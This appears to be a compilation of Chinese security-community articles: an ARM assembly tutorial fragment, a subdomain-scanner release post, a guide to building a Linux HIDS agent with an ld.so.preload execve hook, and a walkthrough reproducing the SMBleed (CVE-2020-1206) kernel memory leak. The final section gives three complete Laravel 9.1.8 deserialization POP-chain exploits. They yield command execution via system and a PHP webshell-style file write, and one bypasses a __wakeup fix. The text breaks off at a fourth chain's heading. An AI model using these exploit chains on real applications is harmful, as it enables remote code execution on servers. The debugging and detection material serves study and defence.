可以看到，我们的LDMIA以及STMDB指令被编译器换为了PUSH和POP。因为PUSH和STMDB sp!是等效的。同样的还有POP和LDMIA
sp!。让我们在GDB里面跑一下上面那段汇编代码。
gef> break _start
gef> run
gef> nexti 2
[...]
gef> x/w $sp
0xbefff7e0: 0x00000001
在连续执行完前两条指令后，我们来看看SP，下一条PUSH指令会将其减8，并将R1和R0的值按序存放到栈上。
gef> nexti
[...] ----- Stack ----- 0xbefff7d8|+0x00: 0x3 <- $sp
0xbefff7dc|+0x04: 0x4
0xbefff7e0|+0x08: 0x1
[...]
gef> x/w $sp
0xbefff7d8: 0x00000003
再之后，这两个值被出栈，按序存到寄存器R2和R3中，之后SP加8。
gef> nexti
gef> info register r2 r3
r2 0x3 3
r3 0x4 4
gef> x/w $sp
0xbefff7e0: 0x00000001
传送门
[【系列分享】ARM
汇编基础速成1：ARM汇编以及汇编语言基础介绍](http://bobao.360.cn/learning/detail/4070.html)
[【系列分享】ARM 汇编基础速成2：ARM汇编中的数据类型](http://bobao.360.cn/learning/detail/4075.html)
[【系列分享】ARM
汇编基础速成3：ARM模式与THUMB模式](http://bobao.360.cn/learning/detail/4082.html)
**[【系列分享】ARM
汇编基础速成4：ARM汇编内存访问相关指令](http://bobao.360.cn/learning/detail/4087.html)** | 社区文章 |
工具来源：http://www.cnseay.com/4452/
作者：Seay
经常看到有文章推荐用这个子域名挖掘的小工具，但之前都没好好写，代码很乱，效率也不高，有时候还经常崩溃，既然大家这么喜欢用，那干脆今晚抽了点时间全部重写了下，新版更稳定，也加入了更实用的端口探测功能，可以在挖掘子域名的同时扫描端口。
优化详情：
1. 新起项目，代码全部重写，性能更优更稳定。
2. 增加子端口探测功能，方便渗透测试。
3. 增加DNS服务器切换和自定义，目前测试DNSPOD最快，个人测试最快达到了每秒3000+条验证，速度比上个版本增加5–10倍（速度会越跑越快）。 切换DNS服务器也可以避免进行大量DNS查询的时候影响正常上网。
4. 对字典权重进行了调整，更容易命中的排在更前。
5. 增加升级提醒，如果还有下个版本的话，会有提醒。
特别提醒：基于.NET4.5编译，得安装.NET4.5才能用 ^_^
程序下载地址：https://pan.baidu.com/s/1dE4jgTr 密码: 9f5u
源码下载地址：https://pan.baidu.com/s/1qXURfzu
BTW：我也不知道360这个傻逼为什么会报毒。
* * * | 社区文章 |
**作者：u2400@知道创宇404实验室**
**时间：2019年12月19日**
**English version：<https://paper.seebug.org/1104/>**
前言:最近在实现linux的HIDS agent, 搜索资料时发现虽然资料不少, 但是每一篇文章都各自有侧重点, 少有循序渐进, 讲的比较全面的中文文章,
在一步步学习中踩了不少坑, 在这里将以进程信息收集作为切入点就如何实现一个HIDS的agent做详细说明, 希望对各位师傅有所帮助.
# 1\. 什么是HIDS?
主机入侵检测, 通常分为agent和server两个部分
其中agent负责收集信息, 并将相关信息整理后发送给server.
server通常作为信息中心, 部署由安全人员编写的规则(目前HIDS的规则还没有一个编写的规范),收集从各种安全组件获取的数据(这些数据也可能来自waf,
NIDS等), 进行分析, 根据规则判断主机行为是否异常, 并对主机的异常行为进行告警和提示.
HIDS存在的目的在于在管理员管理海量IDC时不会被安全事件弄的手忙脚乱, 可以通过信息中心对每一台主机的健康状态进行监视.
相关的开源项目有OSSEC, OSquery等, OSSEC是一个已经构建完善的HIDS, 有agent端和server端, 有自带的规则,
基础的rootkit检测, 敏感文件修改提醒等功能, 并且被包含到了一个叫做wazuh的开源项目, OSquery是一个facebook研发的开源项目,
可以作为一个agent端对主机相关数据进行收集, 但是server和规则需要自己实现.
每一个公司的HIDS agent都会根据自身需要定制, 或多或少的增加一些个性化的功能, 一个基础的HIDS agent一般需要实现的有:
* 收集进程信息
* 收集网络信息
* 周期性的收集开放端口
* 监控敏感文件修改
下文将从实现一个agent入手, 围绕agent讨论如何实现一个HIDS agent的进程信息收集模块
# 2\. agent进程监控模块提要
## 2.1进程监控的目的
在Linux操作系统中几乎所有的运维操作和入侵行为都会体现到执行的命令中, 而命令执行的本质就是启动进程, 所以对进程的监控就是对命令执行的监控,
这对运维操作升级和入侵行为分析都有极大的帮助
## 2.2 进程监控模块应当获取的数据
既然要获取信息那就先要明确需要什么, 如果不知道需要什么信息, 那实现便无从谈起, 即便硬着头皮先实现一个能获取pid等基础信息的HIDS,
后期也会因为缺少规划而频繁改动接口, 白白耗费人力, 这里参考《互联网企业安全高级指南》给出一个获取信息的基础列表, 在后面会补全这张表的的获取方式
数据名称 | 含义
---|---
path | 可执行文件的路径
ppath | 父进程可执行文件路径
ENV | 环境变量
cmdline | 进程启动命令
pcmdline | 父进程启动命令
pid | 进程id
ppid | 父进程id
pgid | 进程组id
sid | 进程会话id
uid | 启动进程用户的uid
euid | 启动进程用户的euid
gid | 启动进程用户的用户组id
egid | 启动进程用户的egid
mode | 可执行文件的权限
owner_uid | 文件所有者的uid
owner_gid | 文件所有者的gid
create_time | 文件创建时间
modify_time | 最近的文件修改时间
pstart_time | 进程开始运行的时间
prun_time | 父进程已经运行的时间
sys_time | 当前系统时间
fd | 文件描述符
## 2.3 进程监控的方式
进程监控, 通常使用hook技术, 而这些hook大概分为两类:
应用级(工作在r3, 常见的就是劫持libc库, 通常简单但是可能被绕过 \- 内核级(工作在r0或者r1, 内核级hook通常和系统调用VFS有关,
较为复杂, 且在不同的发行版, 不同的内核版本间均可能产生兼容性问题, hook出现严重的错误时可能导致kenrel panic, 相对的无法从原理上被绕过
首先从简单的应用级hook说起
# 3\. HIDS 应用级hook
## 3.1 劫持libc库
库用于打包函数, 被打包过后的函数可以直接使用, 其中linux分为静态库和动态库, 其中动态库是在加载应用程序时才被加载, 而程序对于动态库有加载顺序,
可以通过修改 `/etc/ld.so.preload` 来手动优先加载一个动态链接库, 在这个动态链接库中可以在程序调用原函数之前就把原来的函数先换掉,
然后在自己的函数中执行了自己的逻辑之后再去调用原来的函数返回原来的函数应当返回的结果.
想要详细了解的同学, 参考这篇[文章](https://www.ibm.com/developerworks/cn/linux/l-dynamic-libraries/index.html)
劫持libc库有以下几个步骤:
### 3.1.1 编译一个动态链接库
一个简单的hook execve的动态链接库如下.
逻辑非常简单
1. 自定义一个函数命名为execve, 接受参数的类型要和原来的execve相同
2. 执行自己的逻辑
#define _GNU_SOURCE
#include <unistd.h>
#include <dlfcn.h>
typedef ssize_t (*execve_func_t)(const char* filename, char* const argv[], char* const envp[]);
static execve_func_t old_execve = NULL;
int execve(const char* filename, char* const argv[], char* const envp[]) {
//从这里开始是自己的逻辑, 即进程调用execve函数时你要做什么
printf("Running hook\n");
//下面是寻找和调用原本的execve函数, 并返回调用结果
old_execve = dlsym(RTLD_NEXT, "execve");
return old_execve(filename, argv, envp);
}
通过gcc编译为so文件.
gcc -shared -fPIC -o libmodule.so module.c
### 3.1.2 修改ld.so.preload
ld.so.preload是LD_PRELOAD环境变量的配置文件, 通过修改该文件的内容为指定的动态链接库文件路径,
注意只有root才可以修改ld.so.preload, 除非默认的权限被改动了
自定义一个execve函数如下:
extern char **environ;
int execve(const char* filename, char* const argv[], char* const envp[]) {
for (int i = 0; *(environ + i) ; i++)
{
printf("%s\n", *(environ + i));
}
printf("PID:%d\n", getpid());
old_execve = dlsym(RTLD_NEXT, "execve");
return old_execve(filename, argv, envp);
}
可以输出当前进程的Pid和所有的环境变量, 编译后修改ld.so.preload, 重启shell, 运行ls命令结果如下
### 3.1.3 libc hook的优缺点
优点: 性能较好, 比较稳定, 相对于LKM更加简单, 适配性也很高, 通常对抗web层面的入侵.
缺点: 对于静态编译的程序束手无策, 存在一定被绕过的风险.
### 3.1.4 hook与信息获取
设立hook, 是为了建立监控点, 获取进程的相关信息, 但是如果hook的部分写的过大过多, 会导致影响正常的业务的运行效率, 这是业务所不能接受的,
在通常的HIDS中会将可以不在hook处获取的信息放在agent中获取, 这样信息获取和业务逻辑并发执行, 降低对业务的影响.
# 4 信息补全与获取
如果对信息的准确性要求不是很高, 同时希望尽一切可能的不影响部署在HIDS主机上的正常业务那么可以选择hook只获取PID和环境变量等必要的数据,
然后将这些东西交给agent, 由agent继续获取进程的其他相关信息, 也就是说获取进程其他信息的同时, 进程就已经继续运行了,
而不需要等待agent获取完整的信息表.
## /proc/[pid]/stat
/proc是内核向用户态提供的一组fifo接口, 通过伪文件目录的形式调用接口
每一个进程相关的信息, 会被放到以pid命名的文件夹当中, ps等命令也是通过遍历/proc目录来获取进程的相关信息的.
一个stat文件内容如下所示, 下面self是/proc目录提供的一个快捷的查看自己进程信息的接口, 每一个进程访问/self时看到都是自己的信息.
#cat /proc/self/stat
3119 (cat) R 29973 3119 19885 34821 3119 4194304 107 0 0 0 0 0 0 0 20 0 1 0 5794695 5562368 176 18446744073709551615 94309027168256 94309027193225 140731267701520 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 94309027212368 94309027213920 94309053399040 140731267704821 140731267704841 140731267704841 140731267706859 0
会发现这些数据杂乱无章, 使用空格作为每一个数据的边界, 没有地方说明这些数据各自表达什么意思.
一般折腾找到了一篇文章里面给出了一个列表, 这个表里面说明了每一个数据的数据类型和其表达的含义, 见文章附录1
最后整理出一个有52个数据项每个数据项类型各不相同的结构体, 获取起来还是有点麻烦, 网上没有找到轮子, 所以自己写了一个
具体的结构体定义:
struct proc_stat {
int pid; //process ID.
char* comm; //可执行文件名称, 会用()包围
char state; //进程状态
int ppid; //父进程pid
int pgid;
int session; //sid
int tty_nr;
int tpgid;
unsigned int flags;
long unsigned int minflt;
long unsigned int cminflt;
long unsigned int majflt;
long unsigned int cmajflt;
long unsigned int utime;
long unsigned int stime;
long int cutime;
long int cstime;
long int priority;
long int nice;
long int num_threads;
long int itrealvalue;
long long unsigned int starttime;
long unsigned int vsize;
long int rss;
long unsigned int rsslim;
long unsigned int startcode;
long unsigned int endcode;
long unsigned int startstack;
long unsigned int kstkesp;
long unsigned int kstkeip;
long unsigned int signal; //The bitmap of pending signals
long unsigned int blocked;
long unsigned int sigignore;
long unsigned int sigcatch;
long unsigned int wchan;
long unsigned int nswap;
long unsigned int cnswap;
int exit_signal;
int processor;
unsigned int rt_priority;
unsigned int policy;
long long unsigned int delayacct_blkio_ticks;
long unsigned int guest_time;
long int cguest_time;
long unsigned int start_data;
long unsigned int end_data;
long unsigned int start_brk;
long unsigned int arg_start; //参数起始地址
long unsigned int arg_end; //参数结束地址
long unsigned int env_start; //环境变量在内存中的起始地址
long unsigned int env_end; //环境变量的结束地址
int exit_code; //退出状态码
};
从文件中读入并格式化为结构体:
struct proc_stat get_proc_stat(int Pid) {
FILE *f = NULL;
struct proc_stat stat = {0};
char tmp[100] = "0";
stat.comm = tmp;
char stat_path[20];
char* pstat_path = stat_path;
if (Pid != -1) {
sprintf(stat_path, "/proc/%d/stat", Pid);
} else {
pstat_path = "/proc/self/stat";
}
if ((f = fopen(pstat_path, "r")) == NULL) {
printf("open file error");
return stat;
}
fscanf(f, "%d ", &stat.pid);
fscanf(f, "(%100s ", stat.comm);
tmp[strlen(tmp)-1] = '\0';
fscanf(f, "%c ", &stat.state);
fscanf(f, "%d ", &stat.ppid);
fscanf(f, "%d ", &stat.pgid);
fscanf (
f,
"%d %d %d %u %lu %lu %lu %lu %lu %lu %ld %ld %ld %ld %ld %ld %llu %lu %ld %lu %lu %lu %lu %lu %lu %lu %lu %lu %lu %lu %lu %lu %d %d %u %u %llu %lu %ld %lu %lu %lu %lu %lu %lu %lu %d",
&stat.session, &stat.tty_nr, &stat.tpgid, &stat.flags, &stat.minflt,
&stat.cminflt, &stat.majflt, &stat.cmajflt, &stat.utime, &stat.stime,
&stat.cutime, &stat.cstime, &stat.priority, &stat.nice, &stat.num_threads,
&stat.itrealvalue, &stat.starttime, &stat.vsize, &stat.rss, &stat.rsslim,
&stat.startcode, &stat.endcode, &stat.startstack, &stat.kstkesp, &stat.kstkeip,
&stat.signal, &stat.blocked, &stat.sigignore, &stat.sigcatch, &stat.wchan,
&stat.nswap, &stat.cnswap, &stat.exit_signal, &stat.processor, &stat.rt_priority,
&stat.policy, &stat.delayacct_blkio_ticks, &stat.guest_time, &stat.cguest_time, &stat.start_data,
&stat.end_data, &stat.start_brk, &stat.arg_start, &stat.arg_end, &stat.env_start,
&stat.env_end, &stat.exit_code
);
fclose(f);
return stat;
}
和我们需要获取的数据做了一下对比, 可以获取以下数据
ppid | 父进程id
---|---
pgid | 进程组id
sid | 进程会话id
start_time | 父进程开始运行的时间
run_time | 父进程已经运行的时间
## /proc/[pid]/exe
通过/proc/[pid]/exe获取可执行文件的路径, 这里/proc/[pid]/exe是指向可执行文件的软链接,
所以这里通过readlink函数获取软链接指向的地址.
这里在读取时需要注意如果readlink读取的文件已经被删除, 读取的文件名后会多一个 `(deleted)`,
但是agent也不能盲目删除文件结尾时的对应字符串, 所以在写server规则时需要注意这种情况
char *get_proc_path(int Pid) {
char stat_path[20];
char* pstat_path = stat_path;
char dir[PATH_MAX] = {0};
char* pdir = dir;
if (Pid != -1) {
sprintf(stat_path, "/proc/%d/exe", Pid);
} else {
pstat_path = "/proc/self/exe";
}
readlink(pstat_path, dir, PATH_MAX);
return pdir;
}
## /proc/[pid]/cmdline
获取进程启动的是启动命令, 可以通过获取/proc/[pid]/cmdline的内容来获得, 这个获取里面有两个坑点
1. 由于启动命令长度不定, 为了避免溢出, 需要先获取长度, 在用malloc申请堆空间, 然后再将数据读取进变量.
2. /proc/self/cmdline文件里面所有的空格和回车都会变成 `'\0'`也不知道为啥, 所以需要手动换源回来, 而且若干个相连的空格也只会变成一个`'\0'`.
这里获取长度的办法比较蠢, 但是用fseek直接将文件指针移到文件末尾的办法每次返回的都是0, 也不知道咋办了, 只能先这样
long get_file_length(FILE* f) {
fseek(f,0L,SEEK_SET);
char ch;
ch = (char)getc(f);
long i;
for (i = 0;ch != EOF; i++ ) {
ch = (char)getc(f);
}
i++;
fseek(f,0L,SEEK_SET);
return i;
}
获取cmdline的内容
char* get_proc_cmdline(int Pid) {
FILE* f;
char stat_path[100] = {0};
char* pstat_path = stat_path;
if (Pid != -1) {
sprintf(stat_path, "/proc/%d/cmdline", Pid);
} else {
pstat_path = "/proc/self/cmdline";
}
if ((f = fopen(pstat_path, "r")) == NULL) {
printf("open file error");
return "";
}
char* pcmdline = (char *)malloc((size_t)get_file_length(f));
char ch;
ch = (char)getc(f);
for (int i = 0;ch != EOF; i++ ) {
*(pcmdline + i) = ch;
ch = (char)getc(f);
if ((int)ch == 0) {
ch = ' ';
}
}
return pcmdline;
}
# 小结
这里写的只是实现的一种最常见最简单的应用级hook的方法具体实现和代码已经放在了[github](https://github.com/u2400/libc_hook_demo)上,
同时github上的代码会保持更新, 下次的文章会分享如何使用LKM修改sys_call_table来hook系统调用的方式来实现HIDS的hook.
# 参考文章
<https://www.freebuf.com/articles/system/54263.html>
<http://abcdefghijklmnopqrst.xyz/2018/07/30/Linux_INT80/>
<https://cloud.tencent.com/developer/news/337625>
<https://github.com/g0dA/linuxStack/blob/master/%E8%BF%9B%E7%A8%8B%E9%9A%90%E8%97%8F%E6%8A%80%E6%9C%AF%E7%9A%84%E6%94%BB%E4%B8%8E%E9%98%B2-%E6%94%BB%E7%AF%87.md>
# 附录1
这里完整的说明了/proc目录下每一个文件具体的意义是什么.
<http://man7.org/linux/man-pages/man5/proc.5.html>
* * * | 社区文章 |
# 使用WinDBG调试分析CVE-2020-1206：SMBleed信息泄露漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 目录
使用WinDBG调试分析CVE-2020-1206:SMBleed信息泄露漏洞
一、简介
1.1 漏洞实例简介
1.2 漏洞基本原理
二、环境说明
2.1 工具
2.2 环境
三、分析过程
3.1 漏洞复现
3.2 逆向分析
3.3 POC代码及验证
四、 一些问题
## 一、 简介
### 1.1 漏洞实例简介
CVE-2020-1206。该漏洞是由ZecOps安全研究人员在SMBGhost同一漏洞函数中发现的，又被称为SMBleed，是SMBv3协议中的一个信息泄露漏洞。类似于心脏滴血漏洞，此类漏洞可以泄露用户隐私敏感信息，造成很大的安全隐患。
该漏洞被ZecOps安全研究人员发现后，微软官方及时更新了补丁，尚未有漏洞利用的安全实例被曝光。
### 1.2 漏洞基本原理
在SMB协议工作过程中，引发漏洞的函数是srv2.sys中的Srv2DecompressData函数，该函数用于还原（解压）SMB数据。首先根据原始压缩数据中的OriginalCompressedSegmentSize和Offset计算出解压后结构的大小，然后通过SrvNetAllocateBuffer函数获取SRVNET
BUFFER HDR结构（该结构中指明了可存放无需解压的Offset长度的数据和解压数据的缓冲区的User
Buffer），然后调用SmbCompressionDecompress函数向User Buffer的Offset偏移处写入数据。
图1 数据包PCOMPRESSION_TRANSFORM_HEADER结构（上）
SRVNET BUFFER HDR结构（下）
在SmbCompressionDecompress函数中有一个错误的操作，如下所示，如果nt!RtlDecompressBufferEx2返回值非负（解压成功），则将FinalCompressedSize赋值为OriginalCompressedSegmentSize。因而，只要数据解压成功，就不会进入SrvNetFreeBuffer等流程，即使解压操作后会判断FinalCompressedSize和OriginalCompressedSegmentSize是否相等。
这使得对FinalCompressedSize和OriginalCompressedSegmentSize是否相等的检查变得无效，只要解压成功就会将解压的数据写入User
buffer缓冲区，最后把整个SRVNET BUFFER HDR结构返回。
这就是CVE-2020-1206的成因，攻击者可以利用这一点构造出特制的数据包将OriginalCompressedSegmentSize设置为比实际压缩的数据长度大的数，让系统认为解压后的数据长度就是OriginalCompressedSegmentSize大小。那么实际解压缩的数据并不需要这么大的空间，从而泄露了内存中分配出来但又没用上的后半部分内核未初始化的数据。
如下所示，POC中将OriginalCompressedSegmentSize设置为x + 0x1000，offset设置为0，最终得到解压后的数据
(长度为x)，其后面跟有未初始化的内核数据 ，然后利用解压后的SMB2 WRITE 消息泄露后面紧跟着的长度为0x1000的未初始化数据。
图2 POC利用造成的内核数据泄露示意图
## 二、环境说明
### 2.1 工具
1. IDA(主机)
2. WinDbg Preview（主机）
3. Vmware（主机）
4. Wireshark（攻击机）
### 2.2 环境
1. 主机：win10
2. 虚拟机
攻击机：win10 1903 (192.168.238.130)
靶机：win10 1909 (192.168.238.131)
## 三、分析过程
### 3.1 漏洞复现
在win10 1903上使用公开的SMBleed.exe进行测试，攻击win10 1909。步骤如下：
根据SMB协议的工作机制，首先在win10
1909上共享C盘，确保允许Everyone进行更改（或添加其他用户并赋予其读取和更改权限），然后在C盘下创建share目录，以便对文件写入和读取。
图3 设置C盘共享
设置完共享属性后，同一网络下的其他用户便可以对c盘下的文件进行访问。
图4 其他用户可在网络下访问
在攻击机上利用扫描程序分析靶机是否存在SMBGhost或SMBleed漏洞
图5 漏洞扫描程序
按照提示运行SMBleed.exe程序，例：SMBleed.exe win10 192.168.238.131 DESKTOP-B0180QH
xiao_han 123123 C share\hello.txt leak.bin
图6 POC利用
然后可以看到，当前文件夹下生成了一个leak.bin文件。其内容是Userbuffer后面跟着的0x1000字节的未初始化内核数据。
图7 生成leak.bin文件
抓包分析，在复现的同时可以抓包。根据数据包可判断POC流程大概是这样的：SMB协商->用户认证->创建文件->利用漏洞泄露内存信息并写入文件->将文件读取到本地->结束连接。
注意到一个来自服务端的Write
Response数据包，其status为STATUS_SUCCESS，说明写入操作成功。ZecOps在文章中提到过他们利用SMB2
WRITE消息来演示此漏洞，因而我们需要关注一下其对应的请求包，也就是下图中id为239的那个数据包。
图8 POC构造的恶意请求包
可以看到，在该请求包中，实际压缩前的数据CompressedData字段只有0x70个字节的内容，而POC将OriginalSize字段设置为了0x1070的大小，从而可借助
SMB2 WRITE 将未初始化的内存泄露出来。
### 3.2 逆向分析
使用IDA打开系统文件srv2.sys，找到Srv2DecompressData函数
图9 Srv2DecompressData函数
Srv2DecompressData的参数a1就是请求包的Header指针，可以通过该指针获取OriginalCompressedSegmentSize，Offset和压缩算法CompressionAlgo等字段。
图10 请求包头结构
首先SrvNetAllocateBuffer函数会根据参数Header->OriginalCompressed SegmentSize
+和Header->Offset计算出Userbuffer的大小，去LookAside中寻找大小合适的缓冲区，并返回其后面的SRVNET BUFFER
HDR结构，该结构偏移0x18处指向该缓冲区User Buffer。
图11 SRVNET BUFFER结构
然后在SmbCompressionDecompress函数中，把数据解压到Userbuffer缓冲区，由于其中对FinalCompressedSize的错误赋值，使对FinalCompressedSize和OriginalCompressedSegmentSize是否相等的判断失效。
图12 SmbCompressionDecompress函数
最后由memmove写入offset大小的RawData字段。
图13 memmove
### 3.3 POC代码及验证
最后我们使用Windbg Preview对POC利用的细节进行双机调试
首先设置调试环境
图14 设置调试机串行端口命名管道
图15 设置内核调试模式
图16 设置符号表路径
图17 调试机上的windbg设置
环境配置好后，开始连接调试机进行双机调试
图18 连接成功
KD> lml查看已载入的模块，缺少srv2.sys所需要的符号表
KD> .reload 重载符号表
图19 找到srv2.sys
KD> .reload /f srv2.sys
KD> !sym noisy
加载srv2.pdb
图20 载入srv2.pdb
KD> Bp srv2!Srv2DecompressData 设置断点
图21 设置断点
启用断点后，攻击机运行SMBleed.exe触发断点，然后kd就会停在断点处，即srv2!Srv2DecompressData的函数入口处。
图22 触发断点
KD> r
此时查看寄存器的值。可以看到Srv2DecompressData的参数此时在rdi中，即请求包头header指针的地址为0xffffdb8cdffce8e0
图22 查看header指针地址
然后查看header报文结构，可以看到在协议号（FC 53 4D 42
SMB）后面紧跟着的就是originalSize字段，为0x1070。但是可以看到Compressed
Data只有数据包底部的0x70个字节，此即POC伪造的恶意数据包。
图23 查看header结构
然后执行到SrvNetAllocateBuffer函数，查看其返回值。可以看到rax= 0xffffdb8cdff8d150，即SRVNET
BUFFER指针的地址
图24 查看ALLOC指针地址
图25 恶意数据包
图26 泄露的0x1000个字节的内核数据
到这里，漏洞的POC利用和动态调试就算完成了。
## 四、 一些问题
1. 该漏洞影响到的windows版本包括win10 1903和win10 1909。最开始是尝试用的1909，但是这一版本存在一个空指针引用的问题，导致SMB工作的时候会导致系统蓝屏，无法进行后续调试。
2. 在双机调试的时候，一开始下的断点确实也在漏洞点上，但是实际上POC利用过程会在服务端和客户端之间发送很多SMB数据包，于是调试会停在第一次触发断点的时候，而在攻击机那一方，超时会返回错误。经过多次调试以及抓包分析最终确定了恶意数据包的具体触发次数，从而设置条件断点，成功跟踪到恶意数据包的decompressdata函数。
3. 由于自身的水平原因，希望能够抛砖引玉，大佬们不吝赐教。 | 社区文章 |
# 前言
刷推的时候, 刷到了有师傅发了`Laravel 9.1.8`的反序列化`RCE`链, 跟着漏洞描述自己复现了下.
# 环境搭建
直接下载官网`Laravel 9.1.8`的源码后`composer install`即可, 添加一个入口, 修改`routes\web.php`如下:
<?php
use Illuminate\Support\Facades\Route;
/*
|-------------------------------------------------------------------------- | Web Routes
|-------------------------------------------------------------------------- |
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
Route::get('/', function (\Illuminate\Http\Request $request) {
$vuln = base64_decode($request->input("vuln"));
unserialize($ser);
return "H3rmesk1t";
});
或者直接使用打包好的漏洞环境: [下载地址](https://share.weiyun.com/UZyGDHAC).
# Laravel 9.1.8 POP Chain1
## 漏洞描述
Laravel 9.1.8, when processing attacker-controlled data for deserialization, allows Remote Code Execution via an unserialize pop chain in __destruct in Illuminate\Broadcasting\PendingBroadcast.php and dispatch($command) in Illuminate\Bus\QueueingDispatcher.php.
## 漏洞分析
根据漏洞信息的描述,
跟进`src/Illuminate/Broadcasting/PendingBroadcast.php`中的`__destruct`方法,
可以看到这里的`$this->events`和`$this->event`均为可控的, 寻找可用的`dispatch`方法.
这里跟进`src/Illuminate/Bus/Dispatcher.php`中的`dispatch`方法,
这里的`$command`和`$this->queueResolver`均是可控的.
跟进`dispatchToQueue`方法, `$command`和`$this->queueResolver`均是可控的,
不难看出可以利用该方法中的`call_user_func`方法来进行命令执行的利用.
现在需要解决的就是命令执行的语句, 注意到上图中的代码`$connection = $command->connection ?? null;`,
这里可以通过`src/Illuminate/Broadcasting/BroadcastEvent.php`中的类中变量来控制`$connection`,
从而达到命令执行的目的.
## POP Chain
<?php
namespace Illuminate\Contracts\Queue{
interface ShouldQueue {}
}
namespace Illuminate\Bus{
class Dispatcher{
protected $container;
protected $pipeline;
protected $pipes = [];
protected $handlers = [];
protected $queueResolver;
function __construct()
{
$this->queueResolver = "system";
}
}
}
namespace Illuminate\Broadcasting{
use Illuminate\Contracts\Queue\ShouldQueue;
class BroadcastEvent implements ShouldQueue {
function __construct() {}
}
class PendingBroadcast{
protected $events;
protected $event;
function __construct() {
$this->event = new BroadcastEvent();
$this->event->connection = "calc";
$this->events = new \Illuminate\Bus\Dispatcher();
}
}
}
namespace {
$pop = new \Illuminate\Broadcasting\PendingBroadcast();
echo base64_encode(serialize($pop));
}
# Laravel 9.1.8 POP Chain2
## 漏洞描述
Laravel 9.1.8, when processing attacker-controlled data for deserialization, allows Remote Code Execution via an unserialize pop chain in __destruct in GuzzleHttp\Cookie\FileCookieJar.php.
## 漏洞分析
根据漏洞信息的描述, 跟进`src/Cookie/FileCookieJar.php`中的`__destruct`方法,
可以看到这里会调用`$this->save`方法, 在`save`方法中, 存在`file_put_contents`方法来进行文件写入.
接着跟进`src/Cookie/CookieJar.php`中的`shouldPersist`方法, 看看写入的内容该如何构造.
寻找相应可用的`getExpires`方法和`getDiscard`方法, 跟进`src/Cookie/SetCookie.php`, `$data`可控,
写入文件内容可控.
## POP Chain
<?php
namespace GuzzleHttp\Cookie{
class SetCookie {
private static $defaults = [
'Name' => null,
'Value' => null,
'Domain' => null,
'Path' => '/',
'Max-Age' => null,
'Expires' => null,
'Secure' => false,
'Discard' => false,
'HttpOnly' => false
];
function __construct()
{
$this->data['Expires'] = '<?php phpinfo();?>';
$this->data['Discard'] = 0;
}
}
class CookieJar{
private $cookies = [];
private $strictMode;
function __construct() {
$this->cookies[] = new SetCookie();
}
}
class FileCookieJar extends CookieJar {
private $filename;
private $storeSessionCookies;
function __construct() {
parent::__construct();
$this->filename = "C:/Tools/phpstudy_pro/WWW/laravel9/public/info.php";
$this->storeSessionCookies = true;
}
}
}
namespace{
$pop = new \GuzzleHttp\Cookie\FileCookieJar();
echo base64_encode(serialize($pop));
}
# Laravel 9.1.8 POP Chain3
## 漏洞描述
Laravel 9.1.8, when processing attacker-controlled data for deserialization, allows Remote Code Execution via an unserialize pop chain in (1) __destruct in Illuminate\Broadcasting\PendingBroadcast.php .(2) __call in Faker\Generator.php . This poc bypasses __wakeup in Faker\Generator.php : https://inhann.top/2022/05/17/bypass_wakeup/
## 漏洞分析
根据漏洞信息的描述, 该条链子主要是`ByPass`了`src/Faker/Generator.php`中的`__wakeup`方法.
这里先来看看`inhann`师傅提到了绕过思路,
在`src/Faker/Generator.php`中对之前的反序列化问题的修复方法是添加了一个`__wakeup`方法来将`$this->formatters`的值始终为`null
array`.
来看看如下的`demo`:
<?php
class Vuln {
public $demo1;
public $demo2;
public function __destruct() {
$this->demo1 = "h3rmesk1t";
var_dump($this->demo2);
}
public function __wakeup() {
$this->demo2 = 'd1no';
}
}
$ser = 'O:4:"Vuln":2:{s:5:"demo1";N;s:5:"demo2";R:2;}';
$unser = unserialize($ser);
var_dump($unser->demo2);
?>
可以看到序列化数据`s:5:"demo2";R:2;`使得`$this->demo2`和`$this->demo1`指向的是同一个值,
即`$this->demo2`修改了, `$this->demo1`也相应地被修改了.
因此, 根据上面`demo`中的思路,
只需要找到一个对象`$demo`的一个属性`$arg`和`src/Faker/Generator.php`中的`$this->formatters`指向的是同一个值,
当`src/Faker/Generator.php`的`__wakeup`方法结束后, 在构造的反序列化链的`__destruct`方法运行之前,
对`$demo`进行赋值, 此时`$this->formatters`将不再为`null array`, 需要注意的是,
这里`$demo`的赋值需要是完全可控的.
针对上文提到的绕过思路, 需要寻找一些合适的`__wakeup`方法或者`__destruct`方法, 且最好存在如下类似的代码:
$this->demo1 = $this->demo2;
$this->demo1[$this->demo2] = $this->demo3;
例如`Symfony\Component\Mime\Part\SMimePart.php`中的`__wakeup`方法,
其`$headers`属性继承自其父类 `AbstractPart`, `__wakeup`方法当中使用反射给`$headers`赋值.
namespace Symfony\Component\Mime\Part;
use Symfony\Component\Mime\Header\Headers;
class SMimePart extends AbstractPart {
public function __wakeup(): void {
$r = new \ReflectionProperty(AbstractPart::class, 'headers');
$r->setAccessible(true);
$r->setValue($this, $this->_headers);
unset($this->_headers);
}
}
namespace Symfony\Component\Mime\Header;
class UnstructuredHeader extends AbstractHeader {
private $value;
public function setValue(string $value) {
$this->value = $value;
}
}
根据该绕过思路即可对`src/Faker/Generator.php`中的`__wakeup`方法进行绕过.
## POP Chain
<?php
namespace Faker {
class Generator {
protected $providers = [];
protected $formatters = [];
function __construct() {
$this->formatter = "dispatch";
$this->formatters = 9999;
}
}
}
namespace Illuminate\Broadcasting {
class PendingBroadcast {
public function __construct() {
$this->event = "calc";
$this->events = new \Faker\Generator();
}
}
}
namespace Symfony\Component\Mime\Part {
abstract class AbstractPart {
private $headers = null;
}
class SMimePart extends AbstractPart {
protected $_headers;
public $h3rmesk1t;
function __construct() {
$this->_headers = ["dispatch"=>"system"];
$this->h3rmesk1t = new \Illuminate\Broadcasting\PendingBroadcast();
}
}
}
namespace {
$pop = new \Symfony\Component\Mime\Part\SMimePart();
$ser = preg_replace("/([^\{]*\{)(.*)(s:49.*)(\})/","\\1\\3\\2\\4",serialize($pop));
echo base64_encode(str_replace("i:9999","R:2",$ser));
}
# Laravel 9.1.8 POP Chain4
## 漏洞描述
